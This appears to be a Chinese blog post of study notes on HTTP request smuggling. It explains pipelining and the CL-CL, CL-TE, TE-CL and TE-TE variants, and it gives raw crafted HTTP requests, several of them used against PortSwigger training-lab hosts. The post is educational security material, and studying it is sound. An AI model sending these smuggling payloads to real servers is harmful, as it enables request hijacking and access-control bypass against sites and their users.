HTTP请求走私基础学习(一)

HTTPS请求走私

该漏洞产生原因主要是前后端服务器对请求处理RFC标准不同。造成后端恶意代码缓存驻留

smuggling-http-request-to-back-end-server

几个重要概念

TCP复用

为了节省代理服务器与后端服务器同效率,往往会复用同一个tcp连接

参考链接:https://www.lushevol.com/2018/08/21/TCP%E8%BF%9E%E6%8E%A5%E5%A4%8D%E7%94%A8/

1571288904672

http1.1协议连接保持

  • Keep Alive mode
  • Pipelined queries

pipelining

[Client]                  [End Server]
       |                         |
       >-requ. Suzann ---------->|
       >-requ. Ivan ------------>|
       >-requ. Walter----------->|
       |<---------- resp. Suzann-<
       |<------------ resp. Ivan-<
       |<---------- resp. Walter-<

Keep Alive

[Client]                  [End Server]
    |                         |
    >-requ. Suzann ---------->|
    |<---------- resp. Suzann-<
    >-requ. Ivan ------------>|
    |<------------ resp. Ivan-<
    >-req. Walter------------>|
    |<---------- resp. Walter-<

HTTP 中间代理服务器和后端服务器通信示意图

[Client]             [Middleware]          [End Server]
       |                     |                     |
       >-requ. Suzann ------>|                     |
       >-requ. Ivan -------->|                     |
       >-req. Walter ------->|                     |
       |                     >-requ. Suzann ------>|
       |                     |<------ resp. Suzann-<
       |<------ resp. Suzann-<                     |
       |                     >-requ. Ivan -------->|
       |                     |<-------- resp. Ivan-<
       |<-------- resp. Ivan-<                     |
       |                     >-req. Walter-------->|
       |                     |<------- resp Walter-<
       |<------ resp. Walter-<                     |

CL不为0的GET请求

  1. 前端代理服务器允许GET请求携带请求体

  2. 后端服务器不允许GET请求携带请求体

:后端忽略GET请求中的Content-Length头,可以注入新的GET请求,由于Pipeline存在,后端判定收到两个请求

如传入:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端允许GET携带请求体,所以将上述包传到后端,后端不允许GET请求携带请求体,认定为两个请求

第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

结论

CL不为0的GET请求导致走私,主要是前后端服务器对Content-Length即请求体是否执行一致。

CL-CL

https://tools.ietf.org/html/rfc7230#section-3.3.3

RFC7230表明当一个http请求带有多个不同Content-length会导致400错误

1571278218243

不规范操作

前端代理服务器和后端服务器接收多个Content-Length不会返回400错误。

​ 代理服务器使用第一个Content-Length处理数据

​ 后端代理服务器使用第二个Content-Length处理数据

恶意包构建

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器处理请求体长度为8,处理到5。但后端服务器处理请求体长度为7,剩下的字符5会放入缓冲区。如果这时候在接收到一个如下get请求会携带a字符一起处理。

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

实际处理结果,返回aGET request method not found,实现走私攻击。

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length

CL-TE

CL-TE: 接收两个请求头,前端代理服务器只处理Content-Length,后端遵守RFC2616忽略Content-Length,处理Transfer-Encoding

本地

同时放入Content-Length和Transfer-Encoding头,访问正常

1571287661298

只放入Conetent-Length,连接挂起,因为服务端需要接收99个字节的请求体,可以证明服务区在对同时处理Content-Length与Transfer-Encoding会将Content-Length去除

1571287726810

靶场环境

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

伪造http包

POST / HTTP/1.1
Host: ac5c1f3f1ee1d59780728119006600b8.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/users?returnurl=%2facademy%2flabs%2flaunch%2febc97abbe886e96facc0aaee856f55e2a45d4784f5d9025ffa5e994b7d8bc2bb%3freferrer%3d%252fweb-security%252frequest-smuggling%252flab-basic-cl-te
DNT: 1
Connection: keep-alive
Cookie: session=JWPczeHT40XYRaExizH7ScudZ6hnlfX6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
123456

关闭burpsuite自动更新Content-Length,多次发送以下包造成走私攻击

1571288321363

前端代理服务器就收到Content-Length长度为11,之后将以下请求体发送到后端服务器

0\r\n
\r\n
123456

后端遵守RFC规则,抹除了Content-Length请求头,只处理Transfer-Encoding。一下是chunk传输格式,后端遇到连续的0\r\n\r\n会认为传输结束,这时’123456’就会被留在缓冲区会与下个http请求拼接。得到’123456POST’

chunk传输格式

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

TE-CL

TE-CL就是当存在两个请求头,前端代理服务器处理Transfer-Encoding,后端服务器处理Content-Length请求头

靶机

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

构造请求包

POST / HTTP/1.1
Host: ac7f1fe61e17d5978046843b0047009f.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: session=NBbX2y8mopewc0yIgkbqdn9BmgA8PKpt
Content-Length: 4
Transfer-Encoding: chunked
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

前端代理服务器响应Transfer-Encoding,处理以下数据。Transfer-Encoding遇到0\r\n\r\n数据接收停止

\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

后端服务器响应Content-Length,处理以下数据,接收4字节数据

12\r\n

1571292321058

TE-TE

前后端都处理Transfer-Encoding请求头,要点是前端接收可以处理的Transfer-Encoding头,后端接收无法识别的Transfer-Encoding头。类似CL-TE或者TE-CL,不同的是,如果不传入Transfer-Encoding: xxx后端扔会前后端扔会正常处理”Content-Length、Transfer-Encoding”,在CL-TE、TE-CL不行的情况下,可以考虑使用。

靶机

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

POST / HTTP/1.1
Host: acd11f061e2b224780f80459004500f2.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=iLGLf03I7Lu3VUWRK8KVmwoarv2Btbhu
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xxx
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

1571293596089

根据顺序,前端代理服务器处理Transfer-Encoding: chuncked

\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

而后端处理Transfer-Encoding: xxx 无法识别,再识别Content-Lengt: 4处理四字节数据

\r\n
5c\r\n

所以就造成一下数据存入缓存中

GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

结论

  1. 注意CLRF符号,如果Transfer-Encoding再遇到\r\n会认为还会有数据,(CL-TE)
  2. TE-TE在CL-TE或者TE-CL不奏效时候可以尝试使用。
  3. 不论是哪种方式的走私攻击,都是前后端服务器对RFC标准实现的不统一。

CL不为0:利用前端允许GET带请求体,后端不允许,由于pipelining缘故,造成后端将请求体请求当做另一个请求

CL-CL: 不限制post还是get请求(如果前后端允许接收get带有请求体),传入不同值的Content-Length,前端代理服务器要大于后端服务器,后端服务器会将没读到的字符留在缓存,会附着在下一次请求上。

CL-TE: 前端代理服务器只处理content-length,后端遵守RFC丢掉content-length只处理Transfer-Encoding

TE-CL: 前端只处理transfer-encoding,后端只处理content-length

TE-TE: 前后端都处理transfer-encoding,使得后端处理的transfer-encoding为无法识别,只处理content-length

参考链接


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!